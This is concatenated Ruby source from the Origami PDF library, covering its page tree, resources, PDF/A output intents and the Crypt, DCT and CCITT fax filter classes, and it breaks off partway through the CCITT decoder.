val.is_indirect? or val.parent.equal?(self) val end alias value to_a def copy copy = self.class.new self.each do |obj| copy << obj.copy end copy.parent = @parent copy.no, copy.generation = @no, @generation copy.set_indirect(true) if is_indirect? copy.set_pdf(@pdf) if is_indirect? copy end def self.native_type ; Origami::Array end end # # Class representing a location on a page or a bounding box. # class Rectangle < Array class << self def [](coords) corners = if [ :llx, :lly, :urx, :ury ].all? {|p| coords.include?(p)} coords.values_at(:llx, :lly, :urx, :ury) elsif [ :width, :height ].all? {|p| coords.include?(p)} width, height = coords.values_at(:width, :height) x = coords.values_at(:x).first || 0 y = coords.values_at(:y).first || 0 [ x, y, x+width, y+height ] else raise ArgumentError, "Bad arguments for #{self.class}: #{coords.inspect}" end unless corners.all? { |corner| corner.is_a?(Numeric) } raise TypeError, "All coords must be numbers" end Rectangle.new(*corners) end end def initialize(lowerleftx, lowerlefty, upperrightx, upperrighty) super([ lowerleftx, lowerlefty, upperrightx, upperrighty ]) end end end origami-pdf-1.2.7/lib/origami/page.rb0000644000175000017500000004671312146177126017611 0ustar terceiroterceiro=begin = File page.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Appends a page or list of pages to the end of the page tree. # def append_page(page = Page.new, *more) raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) pages = [ page ].concat(more).map! do |pg| if pg.pdf and pg.pdf != self # Page from another document must be exported. pg.export else pg end end treeroot = self.Catalog.Pages treeroot.Kids ||= [] #:nodoc: treeroot.Kids.concat(pages) treeroot.Count = treeroot.Kids.length pages.each do |page| page.Parent = treeroot end self end # # Inserts a page at position _index_ into the document. # def insert_page(index, page) raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) # Page from another document must be exported. page = page.export if page.pdf and page.pdf != self self.Catalog.Pages.insert_page(index, page) self end # # Returns an array of Page # def pages raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) self.Catalog.Pages.children end # # Iterate through each page, returns self. # def each_page(&b) raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) self.Catalog.Pages.each_page(&b) self end # # Get the n-th Page object. # def get_page(n) raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) self.Catalog.Pages.get_page(n) end # # Lookup page in the page name directory. # def get_page_by_name(name) resolve_name Names::Root::PAGES, name end # # Calls block for each named page. # def each_named_page(&b) each_name(Names::Root::PAGES, &b) end end module ResourcesHolder def add_extgstate(extgstate, name = nil) add_resource(Resources::EXTGSTATE, extgstate, name) end def add_colorspace(colorspace, name = nil) add_resource(Resources::COLORSPACE, colorspace, name) end def add_pattern(pattern, name = nil) add_resource(Resources::PATTERN, pattern, name) end def add_shading(shading, name = nil) add_resource(Resources::SHADING, shading, name) end def add_xobject(xobject, name = nil) add_resource(Resources::XOBJECT, xobject, name) end def add_font(font, name = nil) add_resource(Resources::FONT, font, name) end def add_properties(properties, name = nil) add_resource(Resources::PROPERTIES, properties, name) end def add_resource(type, rsrc, name = nil) return existing if not name and existing = ls_resources(type).key(rsrc) name = new_id(type) unless name target = self.is_a?(Resources) ? self : (self.Resources ||= Resources.new) rsrc_dict = target.send(type) || (target[type] = Dictionary.new) rsrc_dict[name] = rsrc name end def ls_resources(type) target = self.is_a?(Resources) ? self : (self.Resources ||= Resources.new) rsrc = {} (target.send(type) || {}).each_pair do |name, obj| rsrc[name.value] = obj.solve end rsrc end def extgstates; ls_resources(Resources::EXTGSTATE) end def colorspaces; ls_resources(Resources::COLORSPACE) end def patterns; ls_resources(Resources::PATTERN) end def shadings; ls_resources(Resources::SHADING) end def xobjects; ls_resources(Resources::XOBJECT) end def fonts; ls_resources(Resources::FONT) end def properties; ls_resources(Resources::PROPERTIES) end def resources; self.extgstates. merge self.colorspaces. merge self.patterns. merge self.shadings. merge self.xobjects. merge self.fonts. merge self.properties end private def new_id(type, prefix = nil) #:nodoc: prefix ||= { Resources::EXTGSTATE => 'ExtG', Resources::COLORSPACE => 'CS', Resources::PATTERN => 'P', Resources::SHADING => 'Sh', Resources::XOBJECT => 'Im', Resources::FONT => 'F', Resources::PROPERTIES => 'Pr' }[type] rsrc = ls_resources(type) n = '1' while rsrc.include?((prefix + n).to_sym) n.next! end (prefix + n).to_sym end def new_extgstate_id; new_id(Resources::EXTGSTATE) end def new_colorspace_id; new_id(Resources::COLORSPACE) end def new_pattern_id; new_id(Resources::PATTERN) end def new_shading_id; new_id(Resources::SHADING) end def new_xobject_id; new_id(Resources::XOBJECT) end def new_font_id; new_name(Resources::FONT) end def new_properties_id; new_name(Resources::PROPERTIES) end end # # Class representing a Resources Dictionary for a Page. # class Resources < Dictionary include StandardObject include ResourcesHolder EXTGSTATE = :ExtGState COLORSPACE = :ColorSpace PATTERN = :Pattern SHADING = :Shading XOBJECT = :XObject FONT = :Font PROPERTIES = :Properties field EXTGSTATE, :Type => Dictionary field COLORSPACE, :Type => Dictionary field PATTERN, :Type => Dictionary field SHADING, :Type => Dictionary, :Version => "1.3" field XOBJECT, :Type => Dictionary field FONT, :Type => Dictionary field :ProcSet, :Type => Array field PROPERTIES, :Type => Dictionary, :Version => "1.2" def pre_build add_font(Font::Type1::Standard::Helvetica.new.pre_build) unless self.Font super end end # # Class representing a node in a Page tree. # class PageTreeNode < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Pages, :Required => true field :Parent, :Type => Dictionary field :Kids, :Type => Array, :Default => [], :Required => true field :Count, :Type => Integer, :Default => 0, :Required => true def initialize(hash = {}) self.Count = 0 self.Kids = [] super(hash) set_indirect(true) end def pre_build #:nodoc: self.Count = self.children.length super end def insert_page(index, page) if index > self.Count raise IndexError, "Invalid index for page tree" end count = 0 kids = self.Kids kids.length.times { |n| if count == index kids.insert(n, page) self.Count = self.Count + 1 page.Parent = self return self else node = kids[n].is_a?(Reference) ? kids[n].solve : kids[n] case node when Page count = count + 1 next when PageTreeNode if count + node.Count > index node.insert_page(index - count, page) self.Count = self.Count + 1 return self else count = count + node.Count next end end end } if count == index self << page else raise IndexError, "An error occured while inserting page" end self end # # Returns an array of Page inheriting this tree node. # def children pageset = [] unless self.Count.nil? [ self.Count.value, self.Kids.length ].min.times do |n| node = self.Kids[n].is_a?(Reference) ? self.Kids[n].solve : self.Kids[n] case node when PageTreeNode then pageset.concat(node.children) when Page then pageset << node end end end pageset end # # Iterate through each page of that node. # def each_page(&b) unless self.Count.nil? [ self.Count.value, self.Kids.length ].min.times do |n| node = self.Kids[n].is_a?(Reference) ? self.Kids[n].solve : self.Kids[n] case node when PageTreeNode then node.each_page(&b) when Page then b.call(node) end end end end # # Get the n-th Page object in this node, starting from 1. # def get_page(n) raise IndexError, "Page numbers are referenced starting from 1" if n < 1 decount = n loop do [ self.Count.value, self.Kids.length ].min.times do |i| node = self.Kids[i].is_a?(Reference) ? self.Kids[i].solve : self.Kids[i] case node when Page decount = decount - 1 return node if decount == 0 when PageTreeNode nchilds = [ node.Count.value, node.Kids.length ].min if nchilds >= decount return node.get_page(decount) else decount -= nchilds end end end end end def << (pageset) pageset = [pageset] unless pageset.is_a?(::Array) raise TypeError, "Cannot add anything but Page and PageTreeNode to this node" unless pageset.all? { |item| item.is_a?(Page) or item.is_a?(PageTreeNode) } self.Kids ||= Array.new self.Kids.concat(pageset) self.Count = self.Kids.length pageset.each do |node| node.Parent = self end end end # Forward declaration. class ContentStream < Stream; end # # Class representing a Page in the PDF document. # class Page < Dictionary include StandardObject include ResourcesHolder module Format A0 = Rectangle[:width => 2384, :height => 3370] A1 = Rectangle[:width => 1684, :height => 2384] A2 = Rectangle[:width => 1191, :height => 1684] A3 = Rectangle[:width => 842, :height => 1191] A4 = Rectangle[:width => 595, :height => 842] A5 = Rectangle[:width => 420, :height => 595] A6 = Rectangle[:width => 298, :height => 420] A7 = Rectangle[:width => 210, :height => 298] A8 = Rectangle[:width => 147, :height => 210] A9 = Rectangle[:width => 105, :height => 147] A10 = Rectangle[:width => 74, :height => 105] B0 = Rectangle[:width => 2836, :height => 4008] B1 = Rectangle[:width => 2004, :height => 2835] B2 = Rectangle[:width => 1417, :height => 2004] B3 = Rectangle[:width => 1001, :height => 1417] B4 = Rectangle[:width => 709, :height => 1001] B5 = Rectangle[:width => 499, :height => 709] B6 = Rectangle[:width => 354, :height => 499] B7 = Rectangle[:width => 249, :height => 354] B8 = Rectangle[:width => 176, :height => 249] B9 = Rectangle[:width => 125, :height => 176] B10 = Rectangle[:width => 88, :height => 125] end field :Type, :Type => Name, :Default => :Page, :Required => true field :Parent, :Type => Dictionary, :Required => true field :LastModified, :Type => String, :Version => "1.3" field :Resources, :Type => Resources, :Required => true field :MediaBox, :Type => Array, :Default => Format::A4, :Required => true field :CropBox, :Type => Array field :BleedBox, :Type => Array, :Version => "1.3" field :TrimBox, :Type => Array, :Version => "1.3" field :ArtBox, :Type => Array, :Version => "1.3" field :BoxColorInfo, :Type => Dictionary, :Version => "1.4" field :Contents, :Type => [ ContentStream, Array ] field :Rotate, :Type => Integer, :Default => 0 field :Group, :Type => Dictionary, :Version => "1.4" field :Thumb, :Type => Stream field :B, :Type => Array, :Version => "1.1" field :Dur, :Type => Integer, :Version => "1.1" field :Trans, :Type => Dictionary, :Version => "1.1" field :Annots, :Type => Array field :AA, :Type => Dictionary, :Version => "1.2" field :Metadata, :Type => Stream, :Version => "1.4" field :PieceInfo, :Type => Dictionary, :Version => "1.2" field :StructParents, :Type => Integer, :Version => "1.3" field :ID, :Type => String field :PZ, :Type => Number field :SeparationInfo, :Type => Dictionary, :Version => "1.3" field :Tabs, :Type => Name, :Version => "1.5" field :TemplateAssociated, :Type => Name, :Version => "1.5" field :PresSteps, :Type => Dictionary, :Version => "1.5" field :UserUnit, :Type => Number, :Default => 1.0, :Version => "1.6" field :VP, :Type => Dictionary, :Version => "1.6" def initialize(hash = {}) super(hash) set_indirect(true) end def pre_build self.Resources = Resources.new.pre_build unless self.has_key?(:Resources) super end # # Add an Annotation to the Page. # def add_annot(*annotations) unless annotations.all?{|annot| annot.is_a?(Annotation) or annot.is_a?(Reference)} raise TypeError, "Only Annotation objects must be passed." end self.Annots ||= [] annotations.each do |annot| annot.solve[:P] = self if is_indirect? self.Annots << annot end end # # Iterate through each Annotation of the Page. # def each_annot(&b) annots = self.Annots return unless annots.is_a?(Array) annots.each do |annot| b.call(annot.solve) end end # # Returns the array of Annotation objects of the Page. # def annotations annots = self.Annots return [] unless annots.is_a?(Array) annots.map{|annot| annot.solve} end # # Embed a SWF Flash application in the page. # def add_flash_application(swfspec, params = {}) options = { :windowed => false, :transparent => false, :navigation_pane => false, :toolbar => false, :pass_context_click => false, :activation => Annotation::RichMedia::Activation::PAGE_OPEN, :deactivation => Annotation::RichMedia::Deactivation::PAGE_CLOSE, :flash_vars => nil } options.update(params) annot = create_richmedia(:Flash, swfspec, options) add_annot(annot) annot end # # Will execute an action when the page is opened. # def onOpen(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= PageAdditionalActions.new self.AA.O = action self end # # Will execute an action when the page is closed. # def onClose(action) unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.AA ||= PageAdditionalActions.new self.AA.C = action self end # # Will execute an action when navigating forward from this page. # def onNavigateForward(action) #:nodoc: unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.PresSteps ||= NavigationNode.new self.PresSteps.NA = action self end # # Will execute an action when navigating backward from this page. # def onNavigateBackward(action) #:nodoc: unless action.is_a?(Action) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end self.PresSteps ||= NavigationNode.new self.PresSteps.PA = action self end private def create_richmedia(type, content, params) #:nodoc: content.set_indirect(true) richmedia = Annotation::RichMedia.new.set_indirect(true) rminstance = Annotation::RichMedia::Instance.new.set_indirect(true) rmparams = rminstance.Params = Annotation::RichMedia::Parameters.new rmparams.Binding = Annotation::RichMedia::Parameters::Binding::BACKGROUND rmparams.FlashVars = params[:flash_vars] rminstance.Asset = content rmconfig = Annotation::RichMedia::Configuration.new.set_indirect(true) rmconfig.Instances = [ rminstance ] rmconfig.Subtype = type rmcontent = richmedia.RichMediaContent = Annotation::RichMedia::Content.new.set_indirect(true) rmcontent.Assets = NameTreeNode.new rmcontent.Assets.Names = NameLeaf.new(content.F.value => content) rmcontent.Configurations = [ rmconfig ] rmsettings = richmedia.RichMediaSettings = Annotation::RichMedia::Settings.new rmactivation = rmsettings.Activation = Annotation::RichMedia::Activation.new rmactivation.Condition = params[:activation] rmactivation.Configuration = rmconfig rmactivation.Animation = Annotation::RichMedia::Animation.new(:PlayCount => -1, :Subtype => :Linear, :Speed => 1.0) rmpres = rmactivation.Presentation = Annotation::RichMedia::Presentation.new rmpres.Style = Annotation::RichMedia::Presentation::WINDOWED if params[:windowed] rmpres.Transparent = params[:transparent] rmpres.NavigationPane = params[:navigation_pane] rmpres.Toolbar = params[:toolbar] rmpres.PassContextClick = params[:pass_context_click] rmdeactivation = rmsettings.Deactivation = Annotation::RichMedia::Deactivation.new rmdeactivation.Condition = params[:deactivation] richmedia end end # # Class representing additional actions which can be associated to a Page. # class PageAdditionalActions < Dictionary include StandardObject field :O, :Type => Dictionary, :Version => "1.2" # Page Open field :C, :Type => Dictionary, :Version => "1.2" # Page Close end # # Class representing a navigation node associated to a Page. # class NavigationNode < Dictionary include StandardObject field :Type, :Type => Name, :Default => :NavNode field :NA, :Type => Dictionary # Next action field :PA, :Type => Dictionary # Prev action field :Next, :Type => Dictionary field :Prev, :Type => Dictionary field :Dur, :Type => Number end end origami-pdf-1.2.7/lib/origami/outputintents.rb0000644000175000017500000000552312101464040021615 0ustar terceiroterceiro=begin = File outputintents.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class OutputIntent < Dictionary include StandardObject module Intent PDFX = :GTS_PDFX PDFA1 = :GTS_PDFA1 PDFE1 = :GTS_PDFE1 end field :Type, :Type => Name, :Default => :OutputIntent field :S, :Type => Name, :Version => '1.4', :Required => true field :OutputCondition, :Type => String field :OutputConditionIdentifier, :Type => String field :RegistryName, :Type => String field :Info, :Type => String field :DestOutputProfile, :Type => Stream end class PDF def is_a_pdfa1? self.Catalog.OutputIntents.is_a?(Array) and self.Catalog.OutputIntents.any?{|intent| intent = intent.solve; intent.S == OutputIntent::Intent::PDFA1 } and self.has_metadata? and ( doc = REXML::Document.new self.Catalog.Metadata.data; REXML::XPath.match(doc, "*/*/rdf:Description[@xmlns:pdfaid]").any? {|desc| desc.elements["pdfaid:conformance"].text == "A" and desc.elements["pdfaid:part"].text == "1" } ) end private def intents_as_pdfa1 unless self.is_a_pdfa1? self.Catalog.OutputIntents ||= [] self.Catalog.OutputIntents << self.insert( OutputIntent.new( :Type => :OutputIntent, :S => OutputIntent::Intent::PDFA1, :OutputConditionIdentifier => "RGB" ) ) metadata = self.create_metadata doc = REXML::Document.new(metadata.data) desc = REXML::Element.new 'rdf:Description' desc.add_attribute 'rdf:about', '' desc.add_attribute 'xmlns:pdfaid', 'http://www.aiim.org/pdfa/ns/id/' desc.add REXML::Element.new('pdfaid:conformance').add_text('A') desc.add REXML::Element.new('pdfaid:part').add_text('1') doc.elements["*/rdf:RDF"].add desc xml = ""; doc.write(xml, 3) metadata.data = xml end end end end origami-pdf-1.2.7/lib/origami/filters/0000755000175000017500000000000012427006355020002 5ustar terceiroterceiroorigami-pdf-1.2.7/lib/origami/filters/crypt.rb0000644000175000017500000000230212101464040021451 0ustar terceiroterceiro=begin = File filters/crypt.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter # # Class representing a Crypt Filter. # TODO. # class Crypt include Filter class DecodeParms < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Crypt field :Name, :Type => Name, :Default => :Identity end end end end origami-pdf-1.2.7/lib/origami/filters/dct.rb0000644000175000017500000000276512101464040021077 0ustar terceiroterceiro=begin = File filters/dct.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter # # Class representing a Filter used to encode and decode data with DCT (JPEG) compression algorithm. # class DCT include Filter class DecodeParms < Dictionary include StandardObject field :ColorTransform, :Type => Integer end def initialize(parameters = {}) super(DecodeParms.new(parameters)) end def encode(stream) stream end # # DCTDecode implies that data is a JPEG image container. # Just returns the raw JPEG image as is. # def decode(stream) stream end end end end origami-pdf-1.2.7/lib/origami/filters/ccitt.rb0000644000175000017500000004544712142214376021451 0ustar terceiroterceiro=begin = File filters/ccitt.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Filter class InvalidCCITTFaxDataError < InvalidFilterDataError #:nodoc: end class CCITTFaxFilterError < Exception #:nodoc: end # # Class representing a Filter used to encode and decode data with CCITT-facsimile compression algorithm. # class CCITTFax include Filter class DecodeParms < Dictionary include StandardObject field :K, :Type => Integer, :Default => 0 field :EndOfLine, :Type => Boolean, :Default => false field :EncodedByteAlign, :Type => Boolean, :Default => false field :Columns, :Type => Integer, :Default => 1728 field :Rows, :Type => Integer, :Default => 0 field :EndOfBlock, :Type => Boolean, :Default => true field :BlackIs1, :Type => Boolean, :Default => false field :DamagedRowsBeforeError, :Type => :Integer, :Default => 0 end def self.codeword(str) #:nodoc: [ str.to_i(2), str.length ] end EOL = codeword('000000000001') RTC = codeword('000000000001' * 6) WHITE_TERMINAL_ENCODE_TABLE = { 0 => codeword('00110101'), 1 => codeword('000111'), 2 => codeword('0111'), 3 => codeword('1000'), 4 => codeword('1011'), 5 => codeword('1100'), 6 => codeword('1110'), 7 => codeword('1111'), 8 => codeword('10011'), 9 => codeword('10100'), 10 => codeword('00111'), 11 => codeword('01000'), 12 => codeword('001000'), 13 => codeword('000011'), 14 => codeword('110100'), 15 => codeword('110101'), 16 => codeword('101010'), 17 => codeword('101011'), 18 => codeword('0100111'), 19 => codeword('0001100'), 20 => codeword('0001000'), 21 => codeword('0010111'), 22 => codeword('0000011'), 23 => codeword('0000100'), 24 => codeword('0101000'), 25 => codeword('0101011'), 26 => codeword('0010011'), 27 => codeword('0100100'), 28 => codeword('0011000'), 29 => codeword('00000010'), 30 => codeword('00000011'), 31 => codeword('00011010'), 32 => codeword('00011011'), 33 => codeword('00010010'), 34 => codeword('00010011'), 35 => codeword('00010100'), 36 => codeword('00010101'), 37 => codeword('00010110'), 38 => codeword('00010111'), 39 => codeword('00101000'), 40 => codeword('00101001'), 41 => codeword('00101010'), 42 => codeword('00101011'), 43 => codeword('00101100'), 44 => codeword('00101101'), 45 => codeword('00000100'), 46 => codeword('00000101'), 47 => codeword('00001010'), 48 => codeword('00001011'), 49 => codeword('01010010'), 50 => codeword('01010011'), 51 => codeword('01010100'), 52 => codeword('01010101'), 53 => codeword('00100100'), 54 => codeword('00100101'), 55 => codeword('01011000'), 56 => codeword('01011001'), 57 => codeword('01011010'), 58 => codeword('01011011'), 59 => codeword('01001010'), 60 => codeword('01001011'), 61 => codeword('00110010'), 62 => codeword('00110011'), 63 => codeword('00110100') } WHITE_TERMINAL_DECODE_TABLE = WHITE_TERMINAL_ENCODE_TABLE.invert BLACK_TERMINAL_ENCODE_TABLE = { 0 => codeword('0000110111'), 1 => codeword('010'), 2 => codeword('11'), 3 => codeword('10'), 4 => codeword('011'), 5 => codeword('0011'), 6 => codeword('0010'), 7 => codeword('00011'), 8 => codeword('000101'), 9 => codeword('000100'), 10 => codeword('0000100'), 11 => codeword('0000101'), 12 => codeword('0000111'), 13 => codeword('00000100'), 14 => codeword('00000111'), 15 => codeword('000011000'), 16 => codeword('0000010111'), 17 => codeword('0000011000'), 18 => codeword('0000001000'), 19 => codeword('00001100111'), 20 => codeword('00001101000'), 21 => codeword('00001101100'), 22 => codeword('00000110111'), 23 => codeword('00000101000'), 24 => codeword('00000010111'), 25 => codeword('00000011000'), 26 => codeword('000011001010'), 27 => codeword('000011001011'), 28 => codeword('000011001100'), 29 => codeword('000011001101'), 30 => codeword('000001101000'), 31 => codeword('000001101001'), 32 => codeword('000001101010'), 33 => codeword('000001101011'), 34 => codeword('000011010010'), 35 => codeword('000011010011'), 36 => codeword('000011010100'), 37 => codeword('000011010101'), 38 => codeword('000011010110'), 39 => codeword('000011010111'), 40 => codeword('000001101100'), 41 => codeword('000001101101'), 42 => codeword('000011011010'), 43 => codeword('000011011011'), 44 => codeword('000001010100'), 45 => codeword('000001010101'), 46 => codeword('000001010110'), 47 => codeword('000001010111'), 48 => codeword('000001100100'), 49 => codeword('000001100101'), 50 => codeword('000001010010'), 51 => codeword('000001010011'), 52 => codeword('000000100100'), 53 => codeword('000000110111'), 54 => codeword('000000111000'), 55 => codeword('000000100111'), 56 => codeword('000000101000'), 57 => codeword('000001011000'), 58 => codeword('000001011001'), 59 => codeword('000000101011'), 60 => codeword('000000101100'), 61 => codeword('000001011010'), 62 => codeword('000001100110'), 63 => codeword('000001100111') } BLACK_TERMINAL_DECODE_TABLE = BLACK_TERMINAL_ENCODE_TABLE.invert WHITE_CONFIGURATION_ENCODE_TABLE = { 64 => codeword('11011'), 128 => codeword('10010'), 192 => codeword('010111'), 256 => codeword('0110111'), 320 => codeword('00110110'), 384 => codeword('00110111'), 448 => codeword('01100100'), 512 => codeword('01100101'), 576 => codeword('01101000'), 640 => codeword('01100111'), 704 => codeword('011001100'), 768 => codeword('011001101'), 832 => codeword('011010010'), 896 => codeword('011010011'), 960 => codeword('011010100'), 1024 => codeword('011010101'), 1088 => codeword('011010110'), 1152 => codeword('011010111'), 1216 => codeword('011011000'), 1280 => codeword('011011001'), 1344 => codeword('011011010'), 1408 => codeword('011011011'), 1472 => codeword('010011000'), 1536 => codeword('010011001'), 1600 => codeword('010011010'), 1664 => codeword('011000'), 1728 => codeword('010011011'), 1792 => codeword('00000001000'), 1856 => codeword('00000001100'), 1920 => codeword('00000001001'), 1984 => codeword('000000010010'), 2048 => codeword('000000010011'), 2112 => codeword('000000010100'), 2176 => codeword('000000010101'), 2240 => codeword('000000010110'), 2340 => codeword('000000010111'), 2368 => codeword('000000011100'), 2432 => codeword('000000011101'), 2496 => codeword('000000011110'), 2560 => codeword('000000011111') } WHITE_CONFIGURATION_DECODE_TABLE = WHITE_CONFIGURATION_ENCODE_TABLE.invert BLACK_CONFIGURATION_ENCODE_TABLE = { 64 => codeword('0000001111'), 128 => codeword('000011001000'), 192 => codeword('000011001001'), 256 => codeword('000001011011'), 320 => codeword('000000110011'), 384 => codeword('000000110100'), 448 => codeword('000000110101'), 512 => codeword('0000001101100'), 576 => codeword('0000001101101'), 640 => codeword('0000001001010'), 704 => codeword('0000001001011'), 768 => codeword('0000001001100'), 832 => codeword('0000001001101'), 896 => codeword('0000001110010'), 960 => codeword('0000001110011'), 1024 => codeword('0000001110100'), 1088 => codeword('0000001110101'), 1152 => codeword('0000001110110'), 1216 => codeword('0000001110111'), 1280 => codeword('0000001010010'), 1344 => codeword('0000001010011'), 1408 => codeword('0000001010100'), 1472 => codeword('0000001010101'), 1536 => codeword('0000001011010'), 1600 => codeword('0000001011011'), 1664 => codeword('0000001100100'), 1728 => codeword('0000001100101'), 1792 => codeword('00000001000'), 1856 => codeword('00000001100'), 1920 => codeword('00000001001'), 1984 => codeword('000000010010'), 2048 => codeword('000000010011'), 2112 => codeword('000000010100'), 2176 => codeword('000000010101'), 2240 => codeword('000000010110'), 2340 => codeword('000000010111'), 2368 => codeword('000000011100'), 2432 => codeword('000000011101'), 2496 => codeword('000000011110'), 2560 => codeword('000000011111') } BLACK_CONFIGURATION_DECODE_TABLE = BLACK_CONFIGURATION_ENCODE_TABLE.invert # # Creates a new CCITT Fax Filter. # def initialize(parameters = {}) super(DecodeParms.new(parameters)) end # # Encodes data using CCITT-facsimile compression method. # def encode(stream) mode = @params.has_key?(:K) ? @params.K.value : 0 unless mode.is_a?(::Integer) and mode <= 0 raise NotImplementedError, "CCITT encoding scheme not supported" end columns = @params.has_key?(:Columns) ? @params.Columns.value : (stream.size << 3) unless columns.is_a?(::Integer) and columns > 0 #and columns % 8 == 0 raise CCITTFaxFilterError, "Invalid value for parameter `Columns'" end if stream.size % (columns >> 3) != 0 raise CCITTFaxFilterError, "Data size is not a multiple of image width" end colors = (@params.BlackIs1 == true) ? [0,1] : [1,0] white, _black = colors bitr = Utils::BitReader.new(stream) bitw = Utils::BitWriter.new # Group 4 requires an imaginary white line if mode < 0 prev_line = Utils::BitWriter.new write_bit_range(prev_line, white, columns) prev_line = Utils::BitReader.new(prev_line.final.to_s) end until bitr.eod? case when mode == 0 encode_one_dimensional_line(bitr, bitw, columns, colors) when mode < 0 encode_two_dimensional_line(bitr, bitw, columns, colors, prev_line) end end # Emit return-to-control code bitw.write(*RTC) bitw.final.to_s end # # Decodes data using CCITT-facsimile compression method. # def decode(stream) mode = @params.has_key?(:K) ? @params.K.value : 0 unless mode.is_a?(::Integer) and mode <= 0 raise NotImplementedError, "CCITT encoding scheme not supported" end columns = @params.has_key?(:Columns) ? @params.Columns.value : 1728 unless columns.is_a?(::Integer) and columns > 0 #and columns % 8 == 0 raise CCITTFaxFilterError, "Invalid value for parameter `Columns'" end colors = (@params.BlackIs1 == true) ? [0,1] : [1,0] white, _black = colors params = { :is_aligned? => (@params.EncodedByteAlign == true), :has_eob? => (@params.EndOfBlock.nil? or @params.EndOfBlock == true), :has_eol? => (@params.EndOfLine == true) } unless params[:has_eob?] unless @params.has_key?(:Rows) and @params.Rows.is_a?(::Integer) and @params.Rows.value > 0 raise CCITTFaxFilterError, "Invalid value for parameter `Rows'" end rows = @params.Rows.to_i end bitr = Utils::BitReader.new(stream) bitw = Utils::BitWriter.new # Group 4 requires an imaginary white line if mode < 0 prev_line = Utils::BitWriter.new write_bit_range(prev_line, white, columns) prev_line = Utils::BitReader.new(prev_line.final.to_s) end until bitr.eod? or rows == 0 # realign the read line on a 8-bit boundary if required if params[:is_aligned?] and bitr.pos % 8 != 0 bitr.pos += 8 - (bitr.pos % 8) end # received return-to-control code if params[:has_eob?] and bitr.peek(RTC[1]) == RTC[0] bitr.pos += RTC[1] break end # checking for the presence of EOL if bitr.peek(EOL[1]) != EOL[0] raise InvalidCCITTFaxDataError.new( "No end-of-line pattern found (at bit pos #{bitr.pos}/#{bitr.size}})", bitw.final.to_s ) if params[:has_eol?] else bitr.pos += EOL[1] end case when mode == 0 decode_one_dimensional_line(bitr, bitw, columns, colors) when mode < 0 decode_two_dimensional_line(bitr, bitw, columns, colors, prev_line) end rows -= 1 unless params[:has_eob?] end bitw.final.to_s end private def encode_one_dimensional_line(input, output, columns, colors) #:nodoc: output.write(*EOL) scan_len = 0 white, black = colors current_color = white # Process each bit in line. begin if input.read(1) == current_color scan_len += 1 else if current_color == white put_white_bits(output, scan_len) else put_black_bits(output, scan_len) end current_color ^= 1 scan_len = 1 end end while input.pos % columns != 0 if current_color == white put_white_bits(output, scan_len) else put_black_bits(output, scan_len) end # Align encoded lign on a 8-bit boundary. if @params.EncodedByteAlign == true and output.pos % 8 != 0 output.write(0, 8 - (output.pos % 8)) end end def encode_two_dimensional_line(input, output, columns, colors, prev_line) #:nodoc: raise NotImplementedError, "CCITT two-dimensional encoding scheme not supported." white, black = colors current_color = white end def decode_one_dimensional_line(input, output, columns, colors) #:nodoc: white, black = colors current_color = white line_length = 0 while line_length < columns if current_color == white bit_length = 